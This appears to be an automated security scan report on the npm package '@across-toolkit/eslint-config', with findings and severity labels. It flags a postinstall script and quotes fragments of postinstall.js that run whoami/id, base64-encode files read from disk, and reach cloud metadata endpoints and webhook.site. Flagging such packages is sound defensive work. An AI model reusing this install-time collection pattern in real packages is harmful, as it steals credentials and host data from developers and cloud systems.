@across-toolkit/eslint-config: Suspicious npm security report

Static Scan Results

scanned 2h ago · by rust-scanner

Static analysis flagged 11 finding(s) at 72.0% confidence. This version is warn-only unless an AI or security-team review confirms malicious behavior.

Static reason

One or more suspicious static signals were detected.

Decision evidence

public snapshot

Behavioral surface

Source

ChildProcessEnvironmentVarsFilesystemNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 4.90 KB of source, external domains: 169.254.169.254, metadata.google.internal, webhook.site

Source & flagged code

4 flagged

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

4L5: const http = require('http'); L6: const https = require('https'); ... L9: const path = require('path'); L10: const { execSync } = require('child_process'); L11: ... L36: if (fs.existsSync(f)) { L37: result[f] = Buffer.from(fs.readFileSync(f)).toString('base64'); L38: } ... L44: async function collect() { L45: const hn = os.hostname(); L46: const user = safeExec('whoami') || safeExec('id') || os.userInfo().username;

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

postinstall.jsView on unpkg · L4

4L5: const http = require('http'); L6: const https = require('https'); ... L9: const path = require('path'); L10: const { execSync } = require('child_process'); L11: ... L36: if (fs.existsSync(f)) { L37: result[f] = Buffer.from(fs.readFileSync(f)).toString('base64'); L38: } ... L44: async function collect() { L45: const hn = os.hostname(); L46: const user = safeExec('whoami') || safeExec('id') || os.userInfo().username;

High

Cloud Metadata Access

Source reaches cloud instance metadata or link-local credential endpoints.

postinstall.jsView on unpkg · L4

Source & flagged code

4 flagged · loading source

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

4L5: const http = require('http'); L6: const https = require('https'); ... L9: const path = require('path'); L10: const { execSync } = require('child_process'); L11: ... L36: if (fs.existsSync(f)) { L37: result[f] = Buffer.from(fs.readFileSync(f)).toString('base64'); L38: } ... L44: async function collect() { L45: const hn = os.hostname(); L46: const user = safeExec('whoami') || safeExec('id') || os.userInfo().username;

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

postinstall.jsView on unpkg · L4

4L5: const http = require('http'); L6: const https = require('https'); ... L9: const path = require('path'); L10: const { execSync } = require('child_process'); L11: ... L36: if (fs.existsSync(f)) { L37: result[f] = Buffer.from(fs.readFileSync(f)).toString('base64'); L38: } ... L44: async function collect() { L45: const hn = os.hostname(); L46: const user = safeExec('whoami') || safeExec('id') || os.userInfo().username;

High

Cloud Metadata Access

Source reaches cloud instance metadata or link-local credential endpoints.

postinstall.jsView on unpkg · L4

Findings

3 High4 Medium4 Low

HighInstall Time Lifecycle Scriptspackage.json

HighSandbox Evasion Gated Capabilitypostinstall.js

HighCloud Metadata Accesspostinstall.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

LowUrl Strings